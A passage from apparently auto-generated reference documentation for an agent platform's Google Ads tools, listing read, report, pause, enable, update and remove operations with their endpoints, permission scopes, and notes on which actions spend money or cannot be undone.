SPENDING: its ads begin serving against the campaign's budget, provided the campaign is also enabled. The inverse is google_ads_pause_ad_group. POST /api/v1/tools/google_ads/enable_ad_group. Scopes: adgroups:write. google_ads_enable_campaign (write, destructive) — Set a campaign to ENABLED. THIS STARTS SPENDING MONEY: an enabled campaign buys clicks against its daily budget from the next few minutes onward. Read the campaign's budget with google_ads_list_campaign_budgets and its end date with google_ads_list_campaigns before calling this. The inverse is google_ads_pause_campaign, which ships in the same migration. POST /api/v1/tools/google_ads/enable_campaign. Scopes: campaigns:write. google_ads_enable_keyword (write, destructive) — Set a keyword to ENABLED. THIS STARTS SPENDING: it begins matching searches and buying clicks. The inverse is google_ads_pause_keyword. POST /api/v1/tools/google_ads/enable_keyword. Scopes: keywords:write. google_ads_end_experiment (write, destructive) — End an experiment immediately, returning all traffic to the base campaign and discarding the trial arm's remaining schedule. This is the inverse of google_ads_schedule_experiment and it is the SAFE direction — it reduces spend — but it cannot be undone, so it is confirmation-gated. POST /api/v1/tools/google_ads/end_experiment. Scopes: experiments:write. google_ads_generate_keyword_forecast_metrics (read) — Forecast the clicks, impressions and COST a proposed set of keywords and bids would produce over a date range. Read-only — it spends nothing — and it is the right call BEFORE google_ads_add_keywords, because it prices the change first. POST /api/v1/tools/google_ads/generate_keyword_forecast_metrics. Scopes: planning:read. google_ads_generate_keyword_historical_metrics (read) — Return average monthly searches, competition and top-of-page bid range for keywords you name. Read-only. One request per second per account. POST /api/v1/tools/google_ads/generate_keyword_historical_metrics. Scopes: planning:read. google_ads_generate_keyword_ideas (read) — Ask the Keyword Planner for keyword ideas from seed words or a URL, with each idea's average monthly searches and competition. Read-only and spends nothing. Google rate-limits this to ONE REQUEST PER SECOND per account, and Explorer-level developer tokens cannot reach the planning services at all. POST /api/v1/tools/google_ads/generate_keyword_ideas. Scopes: planning:read. google_ads_get_customer (read) — Read one Google Ads account's own settings: its descriptive name, currency, time zone, whether it is a manager, whether it is a TEST account, its auto-tagging and tracking-template settings and its optimization score. Read this before any write — a test account cannot serve ads or produce metrics, and mistaking one for a live account is the most common way a Google Ads integration appears broken when it is working. POST /api/v1/tools/google_ads/get_customer. Scopes: account:read. google_ads_get_google_ads_field (read) — Read the metadata for one named field, e.g. campaign.status: its data type, its enum values, and whether it is selectable, filterable and sortable. POST /api/v1/tools/google_ads/get_google_ads_field. Scopes: reporting:read. google_ads_get_identity_verification (read) — Report where this account stands in Google's advertiser identity verification programme, including any deadline. An unverified account can have its ads stopped, so this is a diagnostic worth reading before concluding a campaign is misconfigured. POST /api/v1/tools/google_ads/get_identity_verification. Scopes: account:read. google_ads_graduate_experiment (write, destructive) — Convert the experiment's trial arm into an INDEPENDENT campaign with its own budget, which then spends on its own alongside the original. Both campaigns run afterwards, so total spend goes up. Supply the budget the graduated campaign will use. POST /api/v1/tools/google_ads/graduate_experiment. Scopes: experiments:write. google_ads_list_accessible_customers (read) — List every Google Ads account the connected Google login can reach DIRECTLY, as resource names like customers/1234567890. START HERE: every other Google Ads tool needs a customer_id and this is the only call that needs none. Note what it does NOT return: accounts reachable only THROUGH a manager account are not listed — use google_ads_list_customer_clients with a manager's id for those. POST /api/v1/tools/google_ads/list_accessible_customers. Scopes: account:read. google_ads_list_account_budget_proposals (read) — List proposals to create, change or end an account budget, with their approval status. The precondition read for google_ads_create_account_budget_proposal and the only way to see a proposal id before withdrawing one. POST /api/v1/tools/google_ads/list_account_budget_proposals. Scopes: billing:read. google_ads_list_account_budgets (read) — List the ACCOUNT-level budgets — the invoicing ceilings for the whole account over a period — with how much has been served against each. Distinct from campaign budgets, which are the daily ceilings google_ads_list_campaign_budgets reads. POST /api/v1/tools/google_ads/list_account_budgets. Scopes: billing:read. google_ads_list_ad_group_assets (read) — List creative assets attached at ad-group level with their field type and approval status. POST /api/v1/tools/google_ads/list_ad_group_assets. Scopes: assets:read. google_ads_list_ad_group_bid_modifiers (read) — List ad-group-level bid multipliers, for example a device modifier that bids more on mobile. POST /api/v1/tools/google_ads/list_ad_group_bid_modifiers. Scopes: adgroups:read. google_ads_list_ad_group_criteria (read) — List EVERY criterion on an ad group, not only keywords: audiences, age ranges, genders, placements, topics and their bid modifiers. `negative = true` means an exclusion. POST /api/v1/tools/google_ads/list_ad_group_criteria. Scopes: keywords:read. google_ads_list_ad_group_labels (read) — List which labels are attached to which ad groups. POST /api/v1/tools/google_ads/list_ad_group_labels. Scopes: adgroups:read. google_ads_list_ad_groups (read) — List ad groups with their status, type, campaign, and the bids that apply to them. The `resource_name` of each row is what every ad-group write takes, and `ad_group.campaign` is what links it upward. POST /api/v1/tools/google_ads/list_ad_groups. Scopes: adgroups:read. google_ads_list_ads (read) — List the ads in this account with their type, status, POLICY APPROVAL STATUS and landing-page URLs. approval_status is the diagnostic for 'our ad is not showing': DISAPPROVED means Google is refusing to serve it, and no amount of bidding fixes that. POST /api/v1/tools/google_ads/list_ads. Scopes: ads:read. google_ads_list_asset_group_assets (read) — List which assets are in which asset group and what field type each fills — the read that tells you a PMax asset group is missing headlines. POST /api/v1/tools/google_ads/list_asset_group_assets. Scopes: assets:read. google_ads_list_asset_groups (read) — List the asset groups of Performance Max campaigns, with their ad strength, landing pages and primary status. Ad strength is the diagnostic for an underperforming PMax campaign. POST /api/v1/tools/google_ads/list_asset_groups. Scopes: assets:read. google_ads_list_asset_sets (read) — List asset sets — collections of assets such as location groups or business-profile feeds — with their type and status. POST /api/v1/tools/google_ads/list_asset_sets. Scopes: assets:read. google_ads_list_assets (read) — List the account's creative assets — text, images, sitelinks, callouts — with their type, source and landing pages. NOTE: the HTTP authorization token on a Business Profile location set and the lead-form webhook secret are withheld from these rows by Agentic Fabriq; they are the customer's credentials for other systems and an agent has no use for them. POST /api/v1/tools/google_ads/list_assets. Scopes: assets:read. google_ads_list_audiences (read) — List the account's audiences with their name, description, scope and status. Produces the audience resource names targeting writes need. POST /api/v1/tools/google_ads/list_audiences. Scopes: audiences:read. google_ads_list_batch_jobs (read) — List the batch jobs on this account with their status, operation counts and progress. Agentic Fabriq does not CREATE batch jobs — a job takes an arbitrary array of mutate operations, which would let one granted action reach every write in the API — but a job created elsewhere is visible here, which is how an unexplained bulk change gets found. POST /api/v1/tools/google_ads/list_batch_jobs. Scopes: reporting:read. google_ads_list_bidding_strategies (read) — List the account's PORTFOLIO bidding strategies — strategies shared across campaigns — with their type, their targets (target CPA, target ROAS, CPC ceiling) and how many campaigns use each. Changing one changes what every campaign attached to it pays, which is why google_ads_update_bidding_strategy is destructive. POST /api/v1/tools/google_ads/list_bidding_strategies. Scopes: campaigns:read. google_ads_list_billing_setups (read) — List how this account pays: each billing setup, its status, the payments account behind it and the period it covers. No payment instrument, card number or bank detail is ever returned — Google does not publish one on this resource. POST /api/v1/tools/google_ads/list_billing_setups. Scopes: billing:read. google_ads_list_campaign_assets (read) — List the creative assets attached at campaign level — sitelinks, callouts, images, promotions — with the field type each occupies and its approval status. POST /api/v1/tools/google_ads/list_campaign_assets. Scopes: assets:read. google_ads_list_campaign_bid_modifiers (read) — List the campaign-level bid multipliers — for example a 1.2 modifier on calls means the account bids 20% more for that interaction. The precondition read for changing one. POST /api/v1/tools/google_ads/list_campaign_bid_modifiers. Scopes: campaigns:read. google_ads_list_campaign_budgets (read) — List the DAILY budgets in this account: the amount in micros, whether the budget is shared, how many campaigns reference it, and Google's own recommended amount. READ THIS BEFORE CHANGING A BUDGET — writing the previous amount_micros back is the only undo Google publishes. POST /api/v1/tools/google_ads/list_campaign_budgets. Scopes: campaigns:read. google_ads_list_campaign_criteria (read) — List what a campaign targets or excludes at the campaign level: locations, languages, devices, audiences, and campaign-level negative keywords. `negative = true` means an exclusion. POST /api/v1/tools/google_ads/list_campaign_criteria. Scopes: campaigns:read. google_ads_list_campaign_draft_async_errors (read) — List the errors a draft promotion produced. Promotion is asynchronous, so a failure surfaces HERE and nowhere else — without this read a failed promotion is silent. POST /api/v1/tools/google_ads/list_campaign_draft_async_errors. Scopes: campaigns:read. google_ads_list_campaign_drafts (read) — List the drafts of campaigns in this account — a draft is a private copy you can change and then either promote onto the live campaign or run as an experiment. The precondition read for promoting one. POST /api/v1/tools/google_ads/list_campaign_drafts. Scopes: campaigns:read. google_ads_list_campaign_groups (read) — List the campaign groups used to organize campaigns for reporting. POST /api/v1/tools/google_ads/list_campaign_groups. Scopes: campaigns:read. google_ads_list_campaign_labels (read) — List which labels are attached to which campaigns. Pair with google_ads_list_labels to resolve each label resource name to its text. POST /api/v1/tools/google_ads/list_campaign_labels. Scopes: campaigns:read. google_ads_list_campaign_shared_sets (read) — List which shared negative-keyword or placement lists are attached to which campaigns. POST /api/v1/tools/google_ads/list_campaign_shared_sets. Scopes: campaigns:read. google_ads_list_campaigns (read) — List this account's campaigns with their status, channel type, bidding strategy, budget resource name, start and end dates and labels. Configuration only — for spend and clicks use google_ads_report_campaign_performance. The `resource_name` field of each row is what every campaign write takes. POST /api/v1/tools/google_ads/list_campaigns. Scopes: campaigns:read. google_ads_list_change_events (read) — WHO CHANGED WHAT, WHEN. Every configuration change in the account with the user's email, the resource, the operation and the exact fields touched. Google restricts this to the LAST 30 DAYS and to 10,000 rows per query, and REQUIRES a change_date_time filter — Agentic Fabriq supplies the last 30 days when you give no dates. This is the diagnostic that makes every write in this connector supportable: it is how an unexpected spend change gets attributed. POST /api/v1/tools/google_ads/list_change_events. Scopes: reporting:read. google_ads_list_change_status (read) — List which resources changed since a point in time and whether each was added, changed or removed. Cheaper than the full change history when the question is 'what moved', not 'who moved it'. Google keeps 90 days. POST /api/v1/tools/google_ads/list_change_status. Scopes: reporting:read. google_ads_list_conversion_actions (read) — List what this account counts as a conversion: each action's type, category, counting rule, attribution window, default value, and whether it is included in the `conversions` metric that automated bidding optimizes toward. Read this before believing any conversion number. POST /api/v1/tools/google_ads/list_conversion_actions. Scopes: conversions:read. google_ads_list_conversion_custom_variables (read) — List the custom variables that can be attached to an uploaded conversion, with their tags. Produces the resource names google_ads_upload_click_conversions needs to send one. POST /api/v1/tools/google_ads/list_conversion_custom_variables. Scopes: conversions:read. google_ads_list_custom_audiences (read) — List custom audiences — audiences defined by interests, URLs or apps rather than by a membership list. POST /api/v1/tools/google_ads/list_custom_audiences. Scopes: audiences:read. google_ads_list_customer_client_links (read) — List the DIRECT client links a manager account holds, with each link's status and whether the client is hidden. Unlike google_ads_list_customer_clients this shows only one level and shows PENDING invitations as well as accepted links. POST /api/v1/tools/google_ads/list_customer_client_links. Scopes: account:read. google_ads_list_customer_clients (read) — Walk the manager-account hierarchy below one account: every child account, its id, name, currency, time zone, whether it is itself a manager, whether it is a test account, and how many levels below it sits. This is the read that produces the customer ids the mutate tools require when the connected login reaches accounts through an MCC — google_ads_list_accessible_customers only returns direct grants. Pass the MANAGER's id as customer_id and the manager's id again as login_customer_id. POST /api/v1/tools/google_ads/list_customer_clients. Scopes: account:read. google_ads_list_customer_conversion_goals (read) — List the account-level conversion goals: which conversion categories are biddable, meaning which ones automated bidding is allowed to optimize toward. POST /api/v1/tools/google_ads/list_customer_conversion_goals. Scopes: conversions:read. google_ads_list_customer_manager_links (read) — List the manager (MCC) accounts linked ABOVE this account and the status of each link. The manager ids here are the values to send as login_customer_id. POST /api/v1/tools/google_ads/list_customer_manager_links. Scopes: account:read. google_ads_list_customer_user_access (read) — List every user with access to this account, their access role (ADMIN, STANDARD, READ_ONLY, EMAIL_ONLY), when it was granted and who invited them. RETURNS EMAIL ADDRESSES — third-party personal data — which is why it sits under its own permission and not under account:read. There is deliberately no matching write: Agentic Fabriq does not edit the permission system it is being permitted by. POST /api/v1/tools/google_ads/list_customer_user_access. Scopes: useraccess:read. google_ads_list_customer_user_access_invitations (read) — List invitations to access this account that have not yet been accepted, with the invited email address, the role offered and the invitation's status. Also returns email addresses. POST /api/v1/tools/google_ads/list_customer_user_access_invitations. Scopes: useraccess:read. google_ads_list_experiment_arms (read) — List the arms of an experiment: which is the control, which campaigns each arm runs and how the traffic is split between them. POST /api/v1/tools/google_ads/list_experiment_arms. Scopes: campaigns:read. google_ads_list_experiment_async_errors (read) — List the errors an experiment's asynchronous promotion or graduation produced. Those run asynchronously, so a failure surfaces HERE and nowhere else. POST /api/v1/tools/google_ads/list_experiment_async_errors. Scopes: campaigns:read. google_ads_list_experiments (read) — List campaign experiments with their status, schedule, promote status and the long-running operation behind each. Read before ending, graduating or promoting one. POST /api/v1/tools/google_ads/list_experiments. Scopes: campaigns:read. google_ads_list_invoices (read) — List this account's invoices for one month, with their totals and the billing setup they belong to. Monthly invoicing must be enabled on the account; accounts on automatic card payments have no invoices and Google answers with an empty list rather than an error. POST /api/v1/tools/google_ads/list_invoices. Scopes: billing:read. google_ads_list_keywords (read) — List the keywords in this account with their text, match type, status, bid and quality score. Only KEYWORD criteria are returned — for audiences, demographics and placements use google_ads_list_ad_group_criteria. POST /api/v1/tools/google_ads/list_keywords. Scopes: keywords:read. google_ads_list_labels (read) — List the labels defined in this account, with their text and colour. Produces the label resource names every label-assignment write needs. POST /api/v1/tools/google_ads/list_labels. Scopes: campaigns:read. google_ads_list_negative_keywords (read) — List the campaign-level negative keywords — the searches a campaign refuses to match. Filtered to negative KEYWORD criteria by a fixed clause. Ad-group-level negatives are in google_ads_list_ad_group_criteria. POST /api/v1/tools/google_ads/list_negative_keywords. Scopes: keywords:read. google_ads_list_offline_conversion_upload_summaries (read) — Report the health of recent offline conversion uploads: how many events succeeded, how many are pending, the success rate and when the last upload happened. THIS IS THE DIAGNOSTIC for 'our CRM conversions stopped importing' — without it that question ends at a silence. POST /api/v1/tools/google_ads/list_offline_conversion_upload_summaries. Scopes: conversions:read. google_ads_list_payments_accounts (read) — List the payments accounts this account can be billed through, with their ids and names. Needed to create a billing setup, which Agentic Fabriq deliberately does not expose — see docs/coverage/google_ads.md. POST /api/v1/tools/google_ads/list_payments_accounts. Scopes: billing:read. google_ads_list_recommendation_subscriptions (read) — List which recommendation types this account has subscribed to AUTO-APPLY. Read-only in Agentic Fabriq and deliberately so: creating a subscription is a standing rule that changes budgets and bids forever with no action row behind any of it. Listing them is how you DETECT one — an account with an auto-apply subscription is an account whose spend changes without anybody calling a tool. POST /api/v1/tools/google_ads/list_recommendation_subscriptions. Scopes: recommendations:read. google_ads_list_recommendations (read) — List Google's own optimization recommendations for this account, each with the campaign or budget it applies to, whether it has been dismissed, and Google's estimate of its impact on impressions, clicks and COST. Read the impact.potential_metrics.cost_micros before applying anything: a recommendation is Google advising the account to spend more, and it is usually right about the impressions. POST /api/v1/tools/google_ads/list_recommendations. Scopes: recommendations:read. google_ads_list_remarketing_actions (read) — List the account's remarketing actions — the tags that build remarketing lists from site traffic. POST /api/v1/tools/google_ads/list_remarketing_actions. Scopes: audiences:read. google_ads_list_search_terms (read) — List the ACTUAL SEARCHES people typed that caused an ad to serve, with the campaign and ad group each matched. This is the diagnostic behind every 'why did we pay for that click' question and the input to google_ads_add_negative_keywords. For the metrics on each term use google_ads_report_search_term_performance. POST /api/v1/tools/google_ads/list_search_terms. Scopes: keywords:read. google_ads_list_shared_criteria (read) — List the individual exclusions inside a shared set. POST /api/v1/tools/google_ads/list_shared_criteria. Scopes: keywords:read. google_ads_list_shared_sets (read) — List the account's shared sets — reusable negative-keyword and negative-placement lists — with how many members each has and how many campaigns use it. POST /api/v1/tools/google_ads/list_shared_sets. Scopes: keywords:read. google_ads_list_user_lists (read) — List remarketing and customer lists with their type, size, membership duration and whether each is eligible for Search or Display. size_for_search below Google's minimum is why a remarketing campaign is not serving. POST /api/v1/tools/google_ads/list_user_lists. Scopes: audiences:read. google_ads_pause_ad (write) — Set an ad to PAUSED. It stops serving immediately and nothing is lost; google_ads_enable_ad puts it back. POST /api/v1/tools/google_ads/pause_ad. Scopes: ads:write. google_ads_pause_ad_group (write) — Set an ad group to PAUSED. It stops serving immediately and nothing is lost — its keywords, ads and history are untouched and google_ads_enable_ad_group puts it back. POST /api/v1/tools/google_ads/pause_ad_group. Scopes: adgroups:write. google_ads_pause_campaign (write) — Set a campaign to PAUSED. It stops serving and stops spending immediately, and nothing is lost: its settings, keywords, ads and history are untouched and google_ads_enable_campaign puts it back. This is the safe half of the pair and needs no confirmation. POST /api/v1/tools/google_ads/pause_campaign. Scopes: campaigns:write. google_ads_pause_keyword (write) — Set a keyword to PAUSED. It stops matching searches immediately and keeps its quality-score history; google_ads_enable_keyword puts it back. This is the right way to stop a keyword spending. POST /api/v1/tools/google_ads/pause_keyword. Scopes: keywords:write. google_ads_promote_campaign_draft (write, destructive) — Copy the draft's configuration onto the LIVE campaign it was made from, overwriting it. THE PRE-PROMOTION CONFIGURATION IS NOT RECOVERABLE through the API. Runs asynchronously — the response carries a long-running operation and google_ads_list_campaign_drafts reports when it finishes. POST /api/v1/tools/google_ads/promote_campaign_draft. Scopes: experiments:write. google_ads_promote_experiment (write, destructive) — Overwrite the BASE campaign with the experiment arm's configuration. The base campaign's previous configuration is not recoverable through the API. Asynchronous — check google_ads_list_experiment_async_errors afterwards. POST /api/v1/tools/google_ads/promote_experiment. Scopes: experiments:write. google_ads_remove_account_budget_proposal (write) — Withdraw a pending account budget proposal. This is the inverse of google_ads_create_account_budget_proposal and it is why that operation is shippable: a proposal that has not been approved can be taken back. POST /api/v1/tools/google_ads/remove_account_budget_proposal. Scopes: billing:write. google_ads_remove_ad (write, destructive) — Set an ad to REMOVED. TERMINAL — Google publishes no un-remove. Its historical metrics survive. Pause it instead unless you are certain. POST /api/v1/tools/google_ads/remove_ad. Scopes: ads:write. google_ads_remove_ad_group (write, destructive) — Set an ad group to REMOVED, taking every keyword and ad in it with it. TERMINAL — Google publishes no un-remove. Pause it instead unless you are certain. POST /api/v1/tools/google_ads/remove_ad_group. Scopes: adgroups:write. google_ads_remove_ad_group_bid_modifier (write) — Remove an ad-group-level bid modifier, returning that device to the ad group's base bid. POST /api/v1/tools/google_ads/remove_ad_group_bid_modifier. Scopes: bidding:write. google_ads_remove_ad_group_label (write) — Detach a label from an ad group. The inverse of google_ads_add_ad_group_label. POST /api/v1/tools/google_ads/remove_ad_group_label. Scopes: labels:write. google_ads_remove_asset_group (write, destructive) — Remove an asset group from a Performance Max campaign. Its assets survive in the account and can be reused; the grouping does not. POST /api/v1/tools/google_ads/remove_asset_group. Scopes: assets:write. google_ads_remove_asset_group_asset (write) — Take an asset out of a Performance Max asset group. Removing below Google's minimum for a field type will stop the group serving. The inverse of google_ads_attach_asset_group_asset. POST /api/v1/tools/google_ads/remove_asset_group_asset. Scopes: assets:write. google_ads_remove_audience (write, destructive) — Remove an audience. Every ad group and campaign targeting it loses that targeting, which changes who sees the ads and therefore what is spent. POST /api/v1/tools/google_ads/remove_audience. Scopes: audiences:write. google_ads_remove_bidding_strategy (write, destructive) — Remove a shared bidding strategy. Every campaign using it is left without one and STOPS SERVING until a strategy is set, so check non_removed_campaign_count first. The inverse is google_ads_create_bidding_strategy plus pointing the campaigns back. POST /api/v1/tools/google_ads/remove_bidding_strategy. Scopes: bidding:write. google_ads_remove_campaign (write, destructive) — Set a campaign to REMOVED. TERMINAL: Google publishes no un-remove for a campaign — a REMOVED campaign can never be enabled again, only recreated from scratch. Its historical metrics survive for reporting. google_ads_pause_campaign is almost always what is actually wanted. POST /api/v1/tools/google_ads/remove_campaign. Scopes: campaigns:write. google_ads_remove_campaign_bid_modifier (write) — Remove a campaign-level bid modifier, returning bids for that interaction to the campaign's base bid. POST /api/v1/tools/google_ads/remove_campaign_bid_modifier. Scopes: bidding:write. google_ads_remove_campaign_budget (write, destructive) — Remove a budget. Every campaign that referenced it stops delivering until it is given another one, so check reference_count with google_ads_list_campaign_budgets first. A removed budget cannot be restored, only recreated with google_ads_create_campaign_budget. POST /api/v1/tools/google_ads/remove_campaign_budget. Scopes: budgets:write. google_ads_remove_campaign_criterion (write) — Remove one campaign-level criterion. REMOVING A NEGATIVE CRITERION WIDENS what the campaign matches, which increases spend; removing a positive one narrows it. The inverse of google_ads_create_campaign_criterion. POST /api/v1/tools/google_ads/remove_campaign_criterion. Scopes: campaigns:write. google_ads_remove_campaign_draft (write) — Discard a draft without promoting it. The live campaign is untouched. This is the inverse of google_ads_create_campaign_draft and the safe way out of a draft you do not want. POST /api/v1/tools/google_ads/remove_campaign_draft. Scopes: experiments:write. google_ads_remove_campaign_group (write) — Remove a campaign group. The campaigns in it are untouched. POST /api/v1/tools/google_ads/remove_campaign_group. Scopes: campaigns:write. google_ads_remove_campaign_label (write) — Detach a label from a campaign. The inverse of google_ads_add_campaign_label. POST /api/v1/tools/google_ads/remove_campaign_label. Scopes: labels:write. google_ads_remove_conversion_action (write, destructive) — Remove a conversion action. Every automated bidding strategy optimizing toward it loses its signal and its historical conversions stop being reported. google_ads_update_conversion_action with status=PAUSED stops the recording without the loss and is almost always what is wanted. POST /api/v1/tools/google_ads/remove_conversion_action. Scopes: conversions:write. google_ads_remove_experiment (write) — Remove an experiment that has not been promoted. The base campaign is untouched. The inverse of google_ads_create_experiment. POST /api/v1/tools/google_ads/remove_experiment. Scopes: experiments:write. google_ads_remove_experiment_arm (write) — Remove an arm from an experiment that has not started. The inverse of google_ads_create_experiment_arm. POST /api/v1/tools/google_ads/remove_experiment_arm. Scopes: experiments:write. google_ads_remove_keywords (write, destructive) — Set up to 100 keywords to REMOVED in one batch. TERMINAL, and it also discards their accumulated quality-score history, which does not come back if you re-add the same text. google_ads_pause_keyword is almost always what is actually wanted. POST /api/v1/tools/google_ads/remove_keywords. Scopes: keywords:write. google_ads_remove_label (write) — Remove a label from the account. It is detached from everything it was attached to; nothing else about those objects changes. POST /api/v1/tools/google_ads/remove_label. Scopes: labels:write. google_ads_remove_negative_keywords (write, destructive) — Remove up to 100 campaign negative keywords. THIS WIDENS WHAT THE CAMPAIGN MATCHES and therefore increases spend — it is the inverse of google_ads_add_negative_keywords and it is the direction that costs money, which is why it is marked destructive. POST /api/v1/tools/google_ads/remove_negative_keywords. Scopes: keywords:write. google_ads_remove_shared_criteria (write, destructive) — Remove exclusions from a shared set. Widens what every attached campaign matches, so it increases spend. The inverse of google_ads_add_shared_criteria. POST /api/v1/tools/google_ads/remove_shared_criteria. Scopes: keywords:write. google_ads_remove_shared_set (write, destructive) — Remove a shared set, detaching it from every campaign. THOSE CAMPAIGNS IMMEDIATELY START MATCHING THE SEARCHES THE LIST WAS EXCLUDING, which is a spend increase. Check reference_count with google_ads_list_shared_sets first. POST /api/v1/tools/google_ads/remove_shared_set. Scopes: keywords:write. google_ads_remove_user_list (write, destructive) — Remove a remarketing list and its membership. Google publishes no restore — rebuilding it means re-accumulating members over the list's duration, which for a 540-day list is eighteen months. POST /api/v1/tools/google_ads/remove_user_list. Scopes: audiences:write. google_ads_report_account_performance (read) — Impressions, clicks, CTR, average CPC, cost, conversions and conversion value for the whole account, broken down by day. Costs are in MICROS of the account currency: divide cost_micros by 1,000,000. POST /api/v1/tools/google_ads/report_account_performance. Scopes: reporting:read. google_ads_report_ad_group_performance (read) — Per-ad-group impressions, clicks, cost and conversions by day. Costs are in MICROS. POST /api/v1/tools/google_ads/report_ad_group_performance. Scopes: reporting:read. google_ads_report_ad_performance (read) — Per-ad impressions, clicks, cost and conversions by day, alongside each ad's policy approval status — so an ad with zero impressions can be told apart from an ad Google is refusing to serve. POST /api/v1/tools/google_ads/report_ad_performance. Scopes: reporting:read. google_ads_report_age_range_performance (read) — Impressions, clicks, cost and conversions by age bracket. Only campaigns with demographic targeting produce rows. POST /api/v1/tools/google_ads/report_age_range_performance. Scopes: reporting:read. google_ads_report_asset_performance (read) — Impressions, clicks and conversions per creative asset, with its text and the field type it fills. The read behind 'which headline is working'. POST /api/v1/tools/google_ads/report_asset_performance. Scopes: reporting:read. google_ads_report_campaign_performance (read) — Per-campaign impressions, clicks, cost, conversions, search impression share and top-of-page rate, broken down by day. The report an ads question usually means. Costs are in MICROS. POST /api/v1/tools/google_ads/report_campaign_performance. Scopes: reporting:read. google_ads_report_conversion_action_performance (read) — Conversions and conversion value broken down by WHICH conversion action produced them, per campaign. The read that says whether the conversions a bidding strategy is chasing are the ones the business cares about. It reports NO COST: Google does not attribute spend to a conversion action, so cost cannot be selected alongside this breakdown. Use google_ads_report_campaign_performance for spend. POST /api/v1/tools/google_ads/report_conversion_action_performance. Scopes: reporting:read. google_ads_report_device_performance (read) — Per-campaign impressions, clicks, cost and conversions split by device — mobile, desktop, tablet, connected TV. The input to a device bid modifier. POST /api/v1/tools/google_ads/report_device_performance. Scopes: reporting:read. google_ads_report_gender_performance (read) — Impressions, clicks, cost and conversions by gender bracket. Only campaigns with demographic targeting produce rows. POST /api/v1/tools/google_ads/report_gender_performance. Scopes: reporting:read. google_ads_report_geo_performance (read) — Impressions, clicks, cost and conversions by country, region and city. The read behind 'where is our money going'. The country arrives as country_criterion_id — the geo target constant id — because geographic_view does not support a country SEGMENT; region and city arrive as names. POST /api/v1/tools/google_ads/report_geo_performance. Scopes: reporting:read. google_ads_report_keyword_performance (read) — Per-keyword impressions, clicks, cost, conversions and QUALITY SCORE by day. Quality score is the diagnostic for an expensive keyword: a low one raises what every click costs. POST /api/v1/tools/google_ads/report_keyword_performance. Scopes: reporting:read. google_ads_report_landing_page_performance (read) — Impressions, clicks, cost and conversions by landing-page URL. The read that separates 'the ads are bad' from 'the page is bad'. POST /api/v1/tools/google_ads/report_landing_page_performance. Scopes: reporting:read. google_ads_report_search_term_performance (read) — What people ACTUALLY SEARCHED, with the impressions, clicks, cost and conversions each search produced and how it matched. Sorted by cost, this is the fastest route from 'we are spending too much' to a list for google_ads_add_negative_keywords. POST /api/v1/tools/google_ads/report_search_term_performance. Scopes: reporting:read. google_ads_report_shopping_performance (read) — Impressions, clicks, cost and conversions per PRODUCT for Shopping and Performance Max campaigns. Produces rows only where a Merchant Center account is linked. POST /api/v1/tools/google_ads/report_shopping_performance. Scopes: reporting:read. google_ads_schedule_experiment (write) — Start an experiment running. FROM THIS POINT THE TREATMENT ARM SPENDS the split of the campaign's budget its traffic_split names. The inverse is google_ads_end_experiment, which returns all traffic to the base campaign. POST /api/v1/tools/google_ads/schedule_experiment. Scopes: experiments:write. google_ads_search (read) — Run ANY GAQL query against ANY of the resources this API publishes. GAQL CANNOT WRITE — its published grammar has no INSERT, UPDATE, DELETE, DDL or statement separator, only SELECT / FROM / WHERE / ORDER BY / LIMIT / PARAMETERS — but it can read everything, so this is a separate permission from the shaped reports. Shape: SELECT field, field FROM resource WHERE predicate ORDER BY field LIMIT n. Exactly one FROM resource; there are no joins and no subqueries. Use google_ads_search_google_ads_fields to discover selectable fields. Agentic Fabriq imposes a row cap and rewrites an oversized or missing LIMIT rather than refusing the query. There is NO page size: Google fixes this endpoint's page at 10,000 rows and rejects a request that asks for another. Bound the result with LIMIT in the query, and walk pages with page_token. POST /api/v1/tools/google_ads/search. Scopes: reporting:query. google_ads_search_google_ads_fields (read) — Query Google's own metadata about every field the API publishes: which resource it belongs to, its data type, whether it is SELECTABLE, FILTERABLE or SORTABLE, and which other fields can be selected alongside it. THIS IS HOW AN AGENT DISCOVERS WHAT GOOGLE_ADS_SEARCH CAN ASK FOR without guessing — the field set changes four times a year. The query is GAQL-shaped but takes NO FROM CLAUSE: the resource is implicit, and naming it is an error. POST /api/v1/tools/google_ads/search_google_ads_fields. Scopes: reporting:read. google_ads_suggest_geo_target_constants (read) — Turn a place name — 'London', 'California', 'Canada' — into the geo target constant resource name every location-targeting write needs. Needs no customer_id: the geo target constants are global. POST /api/v1/tools/google_ads/suggest_geo_target_constants. Scopes: planning:read. google_ads_suggest_keyword_themes (read) — Suggest keyword themes for a Smart campaign from a business description or a landing page. Read-only. POST /api/v1/tools/google_ads/suggest_keyword_themes. Scopes: planning:read. google_ads_update_ad (write) — Change a responsive search ad's headlines, descriptions or landing pages. Note the resource here is the AD, not the ad-group-ad: use the `ad_group_ad.ad.id` from google_ads_list_ads to build customers//ads/. Editing an ad RESETS ITS LEARNING and sends it back through policy review, so it stops serving for a while. POST /api/v1/tools/google_ads/update_ad. Scopes: ads:write. google_ads_update_ad_group (write) — Change an ad group's name or bids. Does not change status — that is google_ads_enable_ad_group / google_ads_pause_ad_group. Only the fields you supply are changed. POST /api/v1/tools/google_ads/update_ad_group. Scopes: adgroups:write. google_ads_update_asset (write) — Change an asset's internal name or its landing-page URLs. An asset's TEXT and IMAGE BYTES are immutable in Google Ads — to change either, create a new asset and re-attach it. POST /api/v1/tools/google_ads/update_asset. Scopes: assets:write. google_ads_update_asset_group (write) — Change an asset group's name, landing pages, display paths or status. Only the fields you supply are changed. POST /api/v1/tools/google_ads/update_asset_group. Scopes: assets:write. google_ads_update_audience (write) — Change an audience's name or description. Only the fields you supply are changed. POST /api/v1/tools/google_ads/update_audience. Scopes: audiences:write. google_ads_update_bidding_strategy (write, destructive) — Change a shared strategy's target or name. THE BLAST RADIUS IS EVERY CAMPAIGN ATTACHED TO IT, not the one you were thinking about — read campaign_count with google_ads_list_bidding_strategies first. POST /api/v1/tools/google_ads/update_bidding_strategy. Scopes: bidding:write. google_ads_update_campaign (write) — Change a campaign's name, dates, tracking template or bidding targets. Does NOT change status — enabling, pausing and removing are separate operations so an operator can grant editing without granting spending. Only the fields you supply are changed. POST /api/v1/tools/google_ads/update_campaign. Scopes: campaigns:write. google_ads_update_campaign_budget (write, destructive) — Change a budget's daily amount or name. RAISING amount_micros RAISES WHAT THIS ACCOUNT SPENDS, on every campaign sharing the budget, within minutes. Read google_ads_list_campaign_budgets first and keep the previous amount_micros — writing it back is the only undo Google publishes. Only the fields you supply are changed; anything you omit is left exactly as it was. POST /api/v1/tools/google_ads/update_campaign_budget. Scopes: budgets:write. google_ads_update_conversion_action (write) — Change a conversion action's name, category, default value, counting rule, attribution window or whether it feeds the biddable `conversions` metric. Turning 